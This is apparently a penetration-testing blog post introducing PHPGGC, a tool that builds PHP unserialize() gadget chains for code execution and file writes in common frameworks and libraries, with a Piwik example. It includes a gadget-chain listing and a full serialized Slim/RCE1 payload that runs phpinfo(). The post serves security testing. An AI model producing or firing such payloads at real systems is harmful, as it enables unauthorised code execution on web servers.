The state of unserialize()

The use of unserialize() with unsafe input has been for years a very present vulnerability, and many CMS or frameworks have refrained from using it in favor of the safer json_decode(). Nevertheless, it is still very present, especially in custom-made websites. However, its exploitation can be tricky if the code is not known.

Finding gadgets in the dark

For a pentester, upon discovering a way to unserialize data, the problem lies in finding correct gadgets. If the code is unknown, one has to resort to using a binary exploit, which can be, while doable, very time-consuming.

More and more, nonetheless, web developers choose to use frameworks and/or libraries instead of coding everything from scratch. Examples include Laravel, Symfony, Zend, Code Igniter for frameworks or Monolog, SwiftMailer for libraries.

Combined with the fact that the autoload mechanism is often used, and that dependencies can be detected (e.g. through composer.json), successfully exploiting unserialize() in unknown environments just resides in building payloads from gadgets extracted from common libraries. If no library can be identified, testing payloads one-by-one is still an option.

Building a gadget library

Therefore, it is of common interest to build a gadget chain library, similarly of Java's ysoserial. We took the time to study every major PHP framework/library, and managed to build RCE or file write gadget chains for all of them.

Enters PHPGGC (PHP Generic Gadget Chains): a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. One just needs to select a gadget chain, specify the command (s)he wants to run, and the payload is displayed by the tool.

We already populated it with payloads for last versions of:

Laravel

Symfony

SwiftMailer

Monolog

SlimPHP

Doctrine

Guzzle

You can list payloads by using:

$ ./phpggc -l Gadget Chains ------------- [ ... ] Name : Guzzle/FW1 Version : 6.0.0 < = 6.3.0 Type : file_write Vector : __destruct Name : Laravel/RCE1 Version : 5.4.27 Type : rce Vector : __destruct Name : Monolog/RCE1 Version : 1.18 < = 1.23 Type : rce Vector : __destruct Name : Monolog/RCE2 Version : 1.5 < = 1.17 Type : rce Vector : __destruct Name : Slim/RCE1 Version : 3.8.1 Type : rce Vector : __toString Name : SwiftMailer/FW1 Version : 5.1.0 < = 5.4.8 Type : file_write Vector : __toString [ ... ]

And generate them like so:

$ ./phpggc slim/rce1 'phpinfo();' O:18: "Slim\Http\Response" :2: { s:10: "*headers" ; O:8: "Slim\App" :1: { s:19: "Slim\Appcontainer" ; O:14: "Slim\Container" :3: { s:21: "Pimple\Containerraw" ; a:1: { s:3: "all" ; a:2: { i:0 ; O:8: "Slim\App" :1: { s:19: "Slim\Appcontainer" ; O:8: "Slim\App" :1: { s:19: "Slim\Appcontainer" ; O:14: "Slim\Container" :3: { s:21: "Pimple\Containerraw" ; a:1: { s:3: "has" ; s:6: "assert" ; } s:24: "Pimple\Containervalues" ; a:1: { s:3: "has" ; s:6: "assert" ; } s:22: "Pimple\Containerkeys" ; a:1: { s:3: "has" ; s:6: "assert" ; }}}} i:1 ; s:10: "phpinfo();" ; }} s:24: "Pimple\Containervalues" ; a:1: { s:3: "all" ; a:2: { i:0 ; r:6 ; i:1 ; s:10: "phpinfo();" ; }} s:22: "Pimple\Containerkeys" ; a:1: { s:3: "all" ; a:2: { i:0 ; r:6 ; i:1 ; s:10: "phpinfo();" ; }}}} s:7: "*body" ; s:0: "" ; }

The tool comes with a lot of other options; please refer to the README.md file for more informations. PHPGGC has been made so that building your own gadget chains is easy and straightforward, and you can contribute by issuing pull requests, and give us feedback/report bugs using tickets.

Now, let's jump to an example to explain the tool's usage.

Example: Exploiting Piwik's latest Object Injection vulnerability

Early in August last year, Egidio Romano discovered a vulnerability in Piwik <= 2.16.0 allowing to call unserialize(). Nevertheless, no payload was given. Piwik uses Symfony, Zend, and Monolog, making it easy to build a valid payload.

We here elect to use a Monolog payload by running the following command line:

And, when submitted at the right place, we obtain:

You can find PHPGGC on GitHub here.